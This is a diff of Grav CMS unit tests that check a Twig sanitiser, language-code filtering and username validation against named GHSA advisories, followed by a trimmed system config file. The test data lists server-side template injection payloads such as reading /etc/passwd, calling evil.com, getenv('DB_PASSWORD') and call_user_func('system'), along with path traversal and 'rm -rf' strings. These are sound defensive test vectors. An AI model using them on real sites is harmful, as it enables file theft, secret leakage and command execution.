['{{ file_get_contents("/etc/passwd") }}', 'file_get_contents'],
|
||||
['{{ file_put_contents("/tmp/x", "data") }}', 'file_put_contents'],
|
||||
['{{ fopen("/etc/passwd", "r") }}', 'fopen'],
|
||||
['{{ readfile("/etc/passwd") }}', 'readfile'],
|
||||
['{{ unlink("/important/file") }}', 'unlink'],
|
||||
['{{ rmdir("/important/dir") }}', 'rmdir'],
|
||||
['{{ mkdir("/tmp/evil") }}', 'mkdir'],
|
||||
['{{ chmod("/tmp/file", 0777) }}', 'chmod'],
|
||||
['{{ copy("/etc/passwd", "/tmp/passwd") }}', 'copy'],
|
||||
['{{ rename("/tmp/a", "/tmp/b") }}', 'rename'],
|
||||
['{{ symlink("/etc/passwd", "/tmp/link") }}', 'symlink'],
|
||||
['{{ glob("/etc/*") }}', 'glob'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (Network/SSRF)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerDangerousNetwork
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksNetworkFunctions(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerDangerousNetwork(): array
|
||||
{
|
||||
return [
|
||||
['{{ curl_init("http://evil.com") }}', 'curl_init'],
|
||||
['{{ curl_exec($ch) }}', 'curl_exec'],
|
||||
['{{ fsockopen("evil.com", 80) }}', 'fsockopen'],
|
||||
['{{ pfsockopen("evil.com", 80) }}', 'pfsockopen'],
|
||||
['{{ socket_create(AF_INET, SOCK_STREAM, 0) }}', 'socket_create'],
|
||||
['{{ stream_socket_client("tcp://evil.com:80") }}', 'stream_socket_client'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Dangerous PHP Functions (Information Disclosure)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerInfoDisclosure
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksInfoDisclosure(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerInfoDisclosure(): array
|
||||
{
|
||||
return [
|
||||
['{{ phpinfo() }}', 'phpinfo'],
|
||||
['{{ getenv("DB_PASSWORD") }}', 'getenv'],
|
||||
['{{ get_defined_vars() }}', 'get_defined_vars'],
|
||||
['{{ get_defined_functions() }}', 'get_defined_functions'],
|
||||
['{{ ini_get("open_basedir") }}', 'ini_get'],
|
||||
['{{ php_uname() }}', 'php_uname'],
|
||||
['{{ phpversion() }}', 'phpversion'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Twig Environment Manipulation
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerTwigEnvironmentManipulation
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksTwigEnvironmentManipulation(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerTwigEnvironmentManipulation(): array
|
||||
{
|
||||
return [
|
||||
['{{ grav.twig.twig.registerUndefinedFunctionCallback("system") }}', 'registerUndefinedFunctionCallback'],
|
||||
['{{ twig.twig }}', 'Direct twig.twig access'],
|
||||
['{{ grav.twig.twig }}', 'grav.twig.twig access'],
|
||||
['{{ twig.getFunction("x") }}', 'twig.getFunction'],
|
||||
['{{ twig.addFunction(func) }}', 'twig.addFunction'],
|
||||
['{{ twig.setLoader(loader) }}', 'twig.setLoader'],
|
||||
['{{ core.setEscaper("html", callback) }}', 'core.setEscaper'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Serialization (Object Injection)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerSerialization
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksSerialization(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerSerialization(): array
|
||||
{
|
||||
return [
|
||||
['{{ unserialize(user_input) }}', 'unserialize'],
|
||||
['{{ serialize(object) }}', 'serialize'],
|
||||
['{{ var_export(data, true) }}', 'var_export'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Callback Functions
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerCallbackFunctions
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksCallbackFunctions(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerCallbackFunctions(): array
|
||||
{
|
||||
return [
|
||||
['{{ call_user_func("system", "id") }}', 'call_user_func'],
|
||||
['{{ call_user_func_array("system", ["id"]) }}', 'call_user_func_array'],
|
||||
['{{ array_map("system", ["id"]) }}', 'array_map with callback'],
|
||||
['{{ array_filter(arr, "system") }}', 'array_filter with callback'],
|
||||
['{{ usort(arr, "system") }}', 'usort with callback'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Grav-specific Dangerous Access
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGravDangerousAccess
|
||||
*/
|
||||
public function testCleanDangerousTwig_BlocksGravDangerousAccess(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result, "Failed to block: $description");
|
||||
}
|
||||
|
||||
public static function providerGravDangerousAccess(): array
|
||||
{
|
||||
return [
|
||||
['{{ grav.backups }}', 'grav.backups access'],
|
||||
['{{ grav.gpm }}', 'grav.gpm access'],
|
||||
['{{ grav.plugins.get("admin") }}', 'grav.plugins.get'],
|
||||
['{{ grav.themes.get("quark") }}', 'grav.themes.get'],
|
||||
['{{ session.set("admin", true) }}', 'session.set'],
|
||||
['{{ cache.clear() }}', 'cache.clear'],
|
||||
['{{ cache.delete("key") }}', 'cache.delete'],
|
||||
['{{ obj.setProperty("key", "value") }}', 'setProperty'],
|
||||
['{{ obj.setNestedProperty("a.b", "c") }}', 'setNestedProperty'],
|
||||
['{{ grav.locator.findResource("user://", true) }}', 'findResource write mode'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Performance: Early Exit Tests
|
||||
// =========================================================================
|
||||
|
||||
public function testCleanDangerousTwig_EarlyExitEmptyString(): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig('');
|
||||
self::assertSame('', $result);
|
||||
}
|
||||
|
||||
public function testCleanDangerousTwig_EarlyExitNoTwigBlocks(): void
|
||||
{
|
||||
$plainText = 'This is just plain text without any Twig syntax.';
|
||||
$result = Security::cleanDangerousTwig($plainText);
|
||||
self::assertSame($plainText, $result, 'Plain text should pass through unchanged');
|
||||
}
|
||||
|
||||
public function testCleanDangerousTwig_EarlyExitHtmlOnly(): void
|
||||
{
|
||||
$html = '<div class="container"><h1>Hello World</h1><p>Some content here.</p></div>';
|
||||
$result = Security::cleanDangerousTwig($html);
|
||||
self::assertSame($html, $result, 'HTML without Twig should pass through unchanged');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Safe Patterns (Should NOT be blocked)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerSafePatterns
|
||||
*/
|
||||
public function testCleanDangerousTwig_AllowsSafePatterns(string $input, string $description): void
|
||||
{
|
||||
$result = Security::cleanDangerousTwig($input);
|
||||
self::assertStringNotContainsString('{# BLOCKED:', $result, "Should NOT block: $description");
|
||||
}
|
||||
|
||||
public static function providerSafePatterns(): array
|
||||
{
|
||||
return [
|
||||
['{{ page.title }}', 'Page title access'],
|
||||
['{{ page.content }}', 'Page content access'],
|
||||
['{{ grav.config.get("site.title") }}', 'Config get (read only)'],
|
||||
['{{ uri.path }}', 'URI path'],
|
||||
['{% for item in collection %}{{ item.title }}{% endfor %}', 'Normal loop'],
|
||||
['{{ "hello"|upper }}', 'String filter'],
|
||||
['{{ date("Y-m-d") }}', 'Date function'],
|
||||
['{{ dump(page) }}', 'Dump for debugging'],
|
||||
['{% if page.visible %}show{% endif %}', 'Conditional'],
|
||||
['{{ page.media.images }}', 'Media access'],
|
||||
['{{ grav.version }}', 'Grav version'],
|
||||
['{{ page.route }}', 'Page route'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Pattern Caching Tests
|
||||
// =========================================================================
|
||||
|
||||
public function testCleanDangerousTwig_PatternCaching(): void
|
||||
{
|
||||
// First call should build patterns
|
||||
$result1 = Security::cleanDangerousTwig('{{ exec("test") }}');
|
||||
|
||||
// Second call should use cached patterns
|
||||
$result2 = Security::cleanDangerousTwig('{{ system("test") }}');
|
||||
|
||||
// Both should be blocked
|
||||
self::assertStringContainsString('{# BLOCKED:', $result1);
|
||||
self::assertStringContainsString('{# BLOCKED:', $result2);
|
||||
|
||||
// Verify patterns are cached using reflection
|
||||
$reflection = new ReflectionClass(Security::class);
|
||||
$property = $reflection->getProperty('dangerousTwigFunctionsPattern');
|
||||
$property->setAccessible(true);
|
||||
$cachedPattern = $property->getValue();
|
||||
|
||||
self::assertNotNull($cachedPattern, 'Pattern should be cached after first call');
|
||||
}
|
||||
}
|
||||
227
tests/unit/Grav/Common/Security/FilePathSecurityTest.php
Normal file
227
tests/unit/Grav/Common/Security/FilePathSecurityTest.php
Normal file
@@ -0,0 +1,227 @@
|
||||
<?php
|
||||
|
||||
use Codeception\Util\Fixtures;
|
||||
use Grav\Common\Grav;
|
||||
use Grav\Common\Language\Language;
|
||||
|
||||
/**
|
||||
* Class FilePathSecurityTest
|
||||
*
|
||||
* Tests for file path and language security fixes.
|
||||
* Covers: GHSA-p4ww-mcp9-j6f2 (file read), GHSA-m8vh-v6r6-w7p6 (language DoS), GHSA-j422-qmxp-hv94 (backup traversal)
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class FilePathSecurityTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
/** @var Grav */
|
||||
protected $grav;
|
||||
|
||||
/** @var Language */
|
||||
protected $language;
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
$grav = Fixtures::get('grav');
|
||||
$this->grav = $grav();
|
||||
$this->language = new Language($this->grav);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-m8vh-v6r6-w7p6: DoS via Language Regex Injection
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAm8vh_InvalidLanguageCodes
|
||||
*/
|
||||
public function testSetLanguages_GHSAm8vh_FiltersInvalidLanguageCodes(string $lang, string $description): void
|
||||
{
|
||||
$this->language->setLanguages([$lang]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertNotContains($lang, $languages, "Should filter invalid language code: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAm8vh_InvalidLanguageCodes(): array
|
||||
{
|
||||
return [
|
||||
// Regex injection attempts
|
||||
["'", 'Single quote (regex breaker)'],
|
||||
['"', 'Double quote'],
|
||||
['/', 'Forward slash (regex delimiter)'],
|
||||
['\\', 'Backslash'],
|
||||
['()', 'Empty parentheses'],
|
||||
['.*', 'Regex wildcard'],
|
||||
['.+', 'Regex one-or-more'],
|
||||
['[a-z]', 'Regex character class'],
|
||||
['en|rm -rf', 'Pipe with command'],
|
||||
['(?=)', 'Regex lookahead'],
|
||||
|
||||
// Path traversal in language
|
||||
['../en', 'Path traversal'],
|
||||
['en/../../etc', 'Nested path traversal'],
|
||||
|
||||
// Special characters
|
||||
['en;', 'Semicolon'],
|
||||
['en<script>', 'HTML tag'],
|
||||
['en${PATH}', 'Shell variable'],
|
||||
["en\nfr", 'Newline injection'],
|
||||
["en\0fr", 'Null byte injection'],
|
||||
|
||||
// Too short/long
|
||||
['e', 'Single character (too short)'],
|
||||
['englishlanguage', 'Too long without separator'],
|
||||
|
||||
// Invalid format
|
||||
['123', 'All numbers'],
|
||||
['en-', 'Trailing hyphen'],
|
||||
['-en', 'Leading hyphen'],
|
||||
['en--US', 'Double hyphen'],
|
||||
['en_', 'Trailing underscore'],
|
||||
['_en', 'Leading underscore'],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAm8vh_ValidLanguageCodes
|
||||
*/
|
||||
public function testSetLanguages_GHSAm8vh_AllowsValidLanguageCodes(string $lang, string $description): void
|
||||
{
|
||||
$this->language->setLanguages([$lang]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains($lang, $languages, "Should allow valid language code: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAm8vh_ValidLanguageCodes(): array
|
||||
{
|
||||
return [
|
||||
// Standard ISO 639-1 codes
|
||||
['en', 'English'],
|
||||
['fr', 'French'],
|
||||
['de', 'German'],
|
||||
['es', 'Spanish'],
|
||||
['zh', 'Chinese'],
|
||||
['ja', 'Japanese'],
|
||||
['ru', 'Russian'],
|
||||
['ar', 'Arabic'],
|
||||
['pt', 'Portuguese'],
|
||||
['it', 'Italian'],
|
||||
|
||||
// ISO 639-2 three-letter codes
|
||||
['eng', 'English (3-letter)'],
|
||||
['fra', 'French (3-letter)'],
|
||||
['deu', 'German (3-letter)'],
|
||||
|
||||
// Language with region (hyphen)
|
||||
['en-US', 'English (US)'],
|
||||
['en-GB', 'English (UK)'],
|
||||
['pt-BR', 'Portuguese (Brazil)'],
|
||||
['zh-CN', 'Chinese (Simplified)'],
|
||||
['zh-TW', 'Chinese (Traditional)'],
|
||||
|
||||
// Language with region (underscore)
|
||||
['en_US', 'English (US) underscore'],
|
||||
['pt_BR', 'Portuguese (Brazil) underscore'],
|
||||
|
||||
// Extended subtags
|
||||
['zh-Hans', 'Chinese Simplified script'],
|
||||
['zh-Hant', 'Chinese Traditional script'],
|
||||
['sr-Latn', 'Serbian Latin script'],
|
||||
['sr-Cyrl', 'Serbian Cyrillic script'],
|
||||
];
|
||||
}
|
||||
|
||||
public function testSetLanguages_GHSAm8vh_FiltersMultipleMixedCodes(): void
|
||||
{
|
||||
$input = ['en', '../etc', 'fr', '.*', 'de-DE', 'invalid!', 'es'];
|
||||
$this->language->setLanguages($input);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains('en', $languages);
|
||||
self::assertContains('fr', $languages);
|
||||
self::assertContains('de-DE', $languages);
|
||||
self::assertContains('es', $languages);
|
||||
|
||||
self::assertNotContains('../etc', $languages);
|
||||
self::assertNotContains('.*', $languages);
|
||||
self::assertNotContains('invalid!', $languages);
|
||||
}
|
||||
|
||||
public function testSetLanguages_GHSAm8vh_HandlesEmptyArray(): void
|
||||
{
|
||||
$this->language->setLanguages([]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertIsArray($languages);
|
||||
self::assertEmpty($languages);
|
||||
}
|
||||
|
||||
public function testSetLanguages_GHSAm8vh_HandlesNumericValues(): void
|
||||
{
|
||||
// Numeric values cast to string should be filtered as invalid
|
||||
$this->language->setLanguages([123, 456]);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
// Numeric strings are not valid language codes
|
||||
self::assertNotContains('123', $languages);
|
||||
self::assertNotContains('456', $languages);
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-m8vh-v6r6-w7p6: Regex Delimiter Escaping Test
|
||||
// =========================================================================
|
||||
|
||||
public function testGetAvailable_GHSAm8vh_ProperlyEscapesForRegex(): void
|
||||
{
|
||||
// Set some valid languages
|
||||
$this->language->setLanguages(['en', 'fr', 'de']);
|
||||
|
||||
// Get with regex delimiter - should be properly escaped
|
||||
$available = $this->language->getAvailable('/');
|
||||
|
||||
// The result should be usable in a regex without breaking
|
||||
$pattern = '/^(' . $available . ')$/';
|
||||
|
||||
// This should not throw a preg error
|
||||
$result = @preg_match($pattern, 'en');
|
||||
self::assertNotFalse($result, 'Pattern should be valid regex');
|
||||
self::assertEquals(1, $result, 'Pattern should match "en"');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Edge Cases
|
||||
// =========================================================================
|
||||
|
||||
public function testSetLanguages_EdgeCase_CaseSensitivity(): void
|
||||
{
|
||||
// Language codes should preserve case
|
||||
$this->language->setLanguages(['EN', 'Fr', 'de-DE', 'PT-br']);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains('EN', $languages);
|
||||
self::assertContains('Fr', $languages);
|
||||
self::assertContains('de-DE', $languages);
|
||||
self::assertContains('PT-br', $languages);
|
||||
}
|
||||
|
||||
public function testSetLanguages_EdgeCase_MaxLength(): void
|
||||
{
|
||||
// Test boundary of valid length (2-3 for language, up to 8 for region)
|
||||
$this->language->setLanguages(['ab', 'abc', 'ab-12345678', 'abc-12345678']);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertContains('ab', $languages);
|
||||
self::assertContains('abc', $languages);
|
||||
self::assertContains('ab-12345678', $languages);
|
||||
self::assertContains('abc-12345678', $languages);
|
||||
|
||||
// These should be too long
|
||||
$this->language->setLanguages(['abcd', 'ab-123456789']);
|
||||
$languages = $this->language->getLanguages();
|
||||
|
||||
self::assertNotContains('abcd', $languages, '4-letter language code should be invalid');
|
||||
self::assertNotContains('ab-123456789', $languages, '9-char region should be invalid');
|
||||
}
|
||||
}
|
||||
185
tests/unit/Grav/Common/Security/UsernameValidationTest.php
Normal file
185
tests/unit/Grav/Common/Security/UsernameValidationTest.php
Normal file
@@ -0,0 +1,185 @@
|
||||
<?php
|
||||
|
||||
use Grav\Common\User\DataUser\User;
|
||||
|
||||
/**
|
||||
* Class UsernameValidationTest
|
||||
*
|
||||
* Tests for username validation security fixes.
|
||||
* Covers: GHSA-h756-wh59-hhjv (path traversal), GHSA-cjcp-qxvg-4rjm (uniqueness)
|
||||
*
|
||||
* Naming convention: test{Method}_{GHSA_ID}_{description}
|
||||
*/
|
||||
class UsernameValidationTest extends \PHPUnit\Framework\TestCase
|
||||
{
|
||||
// =========================================================================
|
||||
// GHSA-h756-wh59-hhjv: Path Traversal in Username Creation
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAh756_PathTraversalUsernames
|
||||
*/
|
||||
public function testIsValidUsername_GHSAh756_BlocksPathTraversal(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertFalse($result, "Should block path traversal: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAh756_PathTraversalUsernames(): array
|
||||
{
|
||||
return [
|
||||
// Basic path traversal attempts
|
||||
['../admin', 'Unix path traversal to parent'],
|
||||
['..\\admin', 'Windows path traversal to parent'],
|
||||
['../../etc/passwd', 'Multiple level traversal'],
|
||||
['..\\..\\windows\\system32', 'Windows multi-level traversal'],
|
||||
|
||||
// Path traversal in middle of username
|
||||
['foo/../bar', 'Traversal in middle'],
|
||||
['foo\\..\\bar', 'Windows traversal in middle'],
|
||||
|
||||
// Encoded and variant attempts
|
||||
['..', 'Just double dots'],
|
||||
['...', 'Triple dots containing double'],
|
||||
|
||||
// Attempts to escape accounts directory
|
||||
['../accounts/admin', 'Escape to accounts directory'],
|
||||
['..\\accounts\\admin', 'Windows escape to accounts'],
|
||||
['../config/system', 'Escape to config directory'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-h756-wh59-hhjv: Dangerous Characters in Username
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerGHSAh756_DangerousCharacters
|
||||
*/
|
||||
public function testIsValidUsername_GHSAh756_BlocksDangerousCharacters(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertFalse($result, "Should block dangerous character: $description");
|
||||
}
|
||||
|
||||
public static function providerGHSAh756_DangerousCharacters(): array
|
||||
{
|
||||
return [
|
||||
// Filesystem dangerous characters
|
||||
['user/name', 'Forward slash'],
|
||||
['user\\name', 'Backslash'],
|
||||
['user?name', 'Question mark'],
|
||||
['user*name', 'Asterisk wildcard'],
|
||||
['user:name', 'Colon'],
|
||||
['user;name', 'Semicolon'],
|
||||
['user{name', 'Opening brace'],
|
||||
['user}name', 'Closing brace'],
|
||||
["user\nname", 'Newline character'],
|
||||
|
||||
// Hidden files (starting with dot)
|
||||
['.htaccess', 'Hidden file .htaccess'],
|
||||
['.env', 'Hidden file .env'],
|
||||
['.gitignore', 'Hidden file .gitignore'],
|
||||
['.hidden', 'Generic hidden file'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// GHSA-cjcp-qxvg-4rjm: Username Uniqueness (Empty Username)
|
||||
// =========================================================================
|
||||
|
||||
public function testIsValidUsername_GHSAcjcp_BlocksEmptyUsername(): void
|
||||
{
|
||||
self::assertFalse(User::isValidUsername(''), 'Empty username should be invalid');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Valid Usernames (Should Pass Validation)
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerValidUsernames
|
||||
*/
|
||||
public function testIsValidUsername_AllowsValidUsernames(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertTrue($result, "Should allow valid username: $description");
|
||||
}
|
||||
|
||||
public static function providerValidUsernames(): array
|
||||
{
|
||||
return [
|
||||
// Standard usernames
|
||||
['admin', 'Simple admin username'],
|
||||
['john_doe', 'Username with underscore'],
|
||||
['john-doe', 'Username with hyphen'],
|
||||
['john.doe', 'Username with single dot (not at start)'],
|
||||
['user123', 'Username with numbers'],
|
||||
['JohnDoe', 'Mixed case username'],
|
||||
|
||||
// Unicode usernames
|
||||
['用户名', 'Chinese characters'],
|
||||
['пользователь', 'Cyrillic characters'],
|
||||
['ユーザー', 'Japanese characters'],
|
||||
['müller', 'German umlaut'],
|
||||
['josé', 'Spanish accent'],
|
||||
|
||||
// Edge cases that should be valid
|
||||
['a', 'Single character'],
|
||||
['ab', 'Two characters'],
|
||||
['user.name.here', 'Multiple dots (not traversal)'],
|
||||
['123456', 'All numbers'],
|
||||
['user_name_with_many_underscores', 'Many underscores'],
|
||||
];
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Boundary Tests
|
||||
// =========================================================================
|
||||
|
||||
public function testIsValidUsername_BoundaryDotPosition(): void
|
||||
{
|
||||
// Dot at start is invalid (hidden file)
|
||||
self::assertFalse(User::isValidUsername('.user'), 'Dot at start should be invalid');
|
||||
|
||||
// Dot in middle is valid
|
||||
self::assertTrue(User::isValidUsername('user.name'), 'Dot in middle should be valid');
|
||||
|
||||
// Dot at end is valid
|
||||
self::assertTrue(User::isValidUsername('user.'), 'Dot at end should be valid');
|
||||
}
|
||||
|
||||
public function testIsValidUsername_BoundaryDoubleDotsPosition(): void
|
||||
{
|
||||
// Double dots anywhere should be invalid (path traversal)
|
||||
self::assertFalse(User::isValidUsername('..user'), 'Double dots at start');
|
||||
self::assertFalse(User::isValidUsername('user..name'), 'Double dots in middle');
|
||||
self::assertFalse(User::isValidUsername('user..'), 'Double dots at end');
|
||||
}
|
||||
|
||||
// =========================================================================
|
||||
// Combined Attack Vectors
|
||||
// =========================================================================
|
||||
|
||||
/**
|
||||
* @dataProvider providerCombinedAttacks
|
||||
*/
|
||||
public function testIsValidUsername_BlocksCombinedAttacks(string $username, string $description): void
|
||||
{
|
||||
$result = User::isValidUsername($username);
|
||||
self::assertFalse($result, "Should block combined attack: $description");
|
||||
}
|
||||
|
||||
public static function providerCombinedAttacks(): array
|
||||
{
|
||||
return [
|
||||
['../../../etc/passwd', 'Deep path traversal'],
|
||||
['..\\..\\..\\windows\\system32\\config\\sam', 'Windows deep traversal'],
|
||||
['./../admin', 'Hidden file + traversal'],
|
||||
['admin/../../../root', 'Valid prefix + deep traversal'],
|
||||
["admin\n../etc/passwd", 'Newline injection + traversal'],
|
||||
['admin;rm -rf /', 'Semicolon command separator'],
|
||||
['admin/etc/passwd', 'Slash in username'],
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -1,242 +1,31 @@
|
||||
absolute_urls: false
|
||||
timezone: null
|
||||
param_sep: ':'
|
||||
wrapped_site: false
|
||||
reverse_proxy_setup: false
|
||||
force_ssl: false
|
||||
force_lowercase_urls: true
|
||||
custom_base_url: null
|
||||
username_regex: '^[a-z0-9_-]{3,16}$'
|
||||
pwd_regex: '(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,}'
|
||||
intl_enabled: true
|
||||
http_x_forwarded:
|
||||
protocol: true
|
||||
host: false
|
||||
port: true
|
||||
ip: true
|
||||
languages:
|
||||
supported: null
|
||||
default_lang: null
|
||||
include_default_lang: true
|
||||
include_default_lang_file_extension: true
|
||||
translations: true
|
||||
translations_fallback: true
|
||||
session_store_active: false
|
||||
http_accept_language: false
|
||||
override_locale: false
|
||||
pages_fallback_only: false
|
||||
debug: false
|
||||
home:
|
||||
alias: /home
|
||||
hide_in_urls: false
|
||||
alias: '/home'
|
||||
|
||||
pages:
|
||||
type: regular
|
||||
dirs:
|
||||
- 'page://'
|
||||
theme: quark
|
||||
order:
|
||||
by: default
|
||||
dir: asc
|
||||
list:
|
||||
count: 20
|
||||
dateformat:
|
||||
default: null
|
||||
short: 'jS M Y'
|
||||
long: 'F jS \a\t g:ia'
|
||||
publish_dates: true
|
||||
process:
|
||||
markdown: true
|
||||
twig: false
|
||||
twig_first: false
|
||||
never_cache_twig: false
|
||||
events:
|
||||
page: true
|
||||
twig: true
|
||||
markdown:
|
||||
extra: false
|
||||
auto_line_breaks: false
|
||||
auto_url_links: false
|
||||
escape_markup: false
|
||||
special_chars:
|
||||
'>': gt
|
||||
'<': lt
|
||||
valid_link_attributes:
|
||||
- rel
|
||||
- target
|
||||
- id
|
||||
- class
|
||||
- classes
|
||||
types:
|
||||
- html
|
||||
- htm
|
||||
- xml
|
||||
- txt
|
||||
- json
|
||||
- rss
|
||||
- atom
|
||||
append_url_extension: null
|
||||
expires: 604800
|
||||
cache_control: null
|
||||
last_modified: false
|
||||
etag: true
|
||||
vary_accept_encoding: false
|
||||
redirect_default_code: '302'
|
||||
redirect_trailing_slash: 1
|
||||
redirect_default_route: 0
|
||||
ignore_files:
|
||||
- .DS_Store
|
||||
ignore_folders:
|
||||
- .git
|
||||
- .idea
|
||||
ignore_hidden: true
|
||||
hide_empty_folders: false
|
||||
url_taxonomy_filters: true
|
||||
frontmatter:
|
||||
process_twig: false
|
||||
ignore_fields:
|
||||
- form
|
||||
- forms
|
||||
|
||||
cache:
|
||||
enabled: true
|
||||
check:
|
||||
method: file
|
||||
driver: auto
|
||||
prefix: g
|
||||
purge_at: '0 4 * * *'
|
||||
clear_at: '0 3 * * *'
|
||||
clear_job_type: standard
|
||||
clear_images_by_default: false
|
||||
cli_compatibility: false
|
||||
lifetime: 604800
|
||||
purge_max_age_days: 30
|
||||
gzip: false
|
||||
allow_webserver_gzip: false
|
||||
redis:
|
||||
socket: '0'
|
||||
password: null
|
||||
database: null
|
||||
server: null
|
||||
port: null
|
||||
memcache:
|
||||
server: null
|
||||
port: null
|
||||
memcached:
|
||||
server: null
|
||||
port: null
|
||||
twig:
|
||||
cache: true
|
||||
debug: true
|
||||
auto_reload: true
|
||||
autoescape: true
|
||||
undefined_functions: true
|
||||
undefined_filters: true
|
||||
safe_functions: { }
|
||||
safe_filters: { }
|
||||
umask_fix: false
|
||||
|
||||
assets:
|
||||
css_pipeline: false
|
||||
css_pipeline_include_externals: true
|
||||
css_pipeline_before_excludes: true
|
||||
css_minify: true
|
||||
css_minify_windows: false
|
||||
css_rewrite: true
|
||||
js_pipeline: false
|
||||
js_pipeline_include_externals: true
|
||||
js_pipeline_before_excludes: true
|
||||
js_module_pipeline: false
|
||||
js_module_pipeline_include_externals: true
|
||||
js_module_pipeline_before_excludes: true
|
||||
js_minify: true
|
||||
enable_asset_timestamp: false
|
||||
enable_asset_sri: false
|
||||
collections:
|
||||
jquery: 'system://assets/jquery/jquery-3.x.min.js'
|
||||
|
||||
errors:
|
||||
display: 1
|
||||
display: true
|
||||
log: true
|
||||
log:
|
||||
handler: file
|
||||
syslog:
|
||||
facility: local6
|
||||
tag: grav
|
||||
|
||||
debugger:
|
||||
enabled: false
|
||||
provider: clockwork
|
||||
censored: false
|
||||
shutdown:
|
||||
close_connection: true
|
||||
twig: true
|
||||
images:
|
||||
adapter: gd
|
||||
default_image_quality: 85
|
||||
cache_all: false
|
||||
cache_perms: '0755'
|
||||
debug: false
|
||||
auto_fix_orientation: true
|
||||
seofriendly: false
|
||||
cls:
|
||||
auto_sizes: false
|
||||
aspect_ratio: false
|
||||
retina_scale: '1'
|
||||
defaults:
|
||||
loading: auto
|
||||
decoding: auto
|
||||
fetchpriority: auto
|
||||
watermark:
|
||||
image: 'system://images/watermark.png'
|
||||
position_y: center
|
||||
position_x: center
|
||||
scale: 33
|
||||
watermark_all: false
|
||||
media:
|
||||
enable_media_timestamp: false
|
||||
unsupported_inline_types: null
|
||||
allowed_fallback_types: null
|
||||
auto_metadata_exif: false
|
||||
upload_limit: 2097152
|
||||
session:
|
||||
enabled: true
|
||||
initialize: true
|
||||
timeout: 1800
|
||||
name: grav-site
|
||||
uniqueness: path
|
||||
secure: false
|
||||
secure_https: true
|
||||
httponly: true
|
||||
samesite: Lax
|
||||
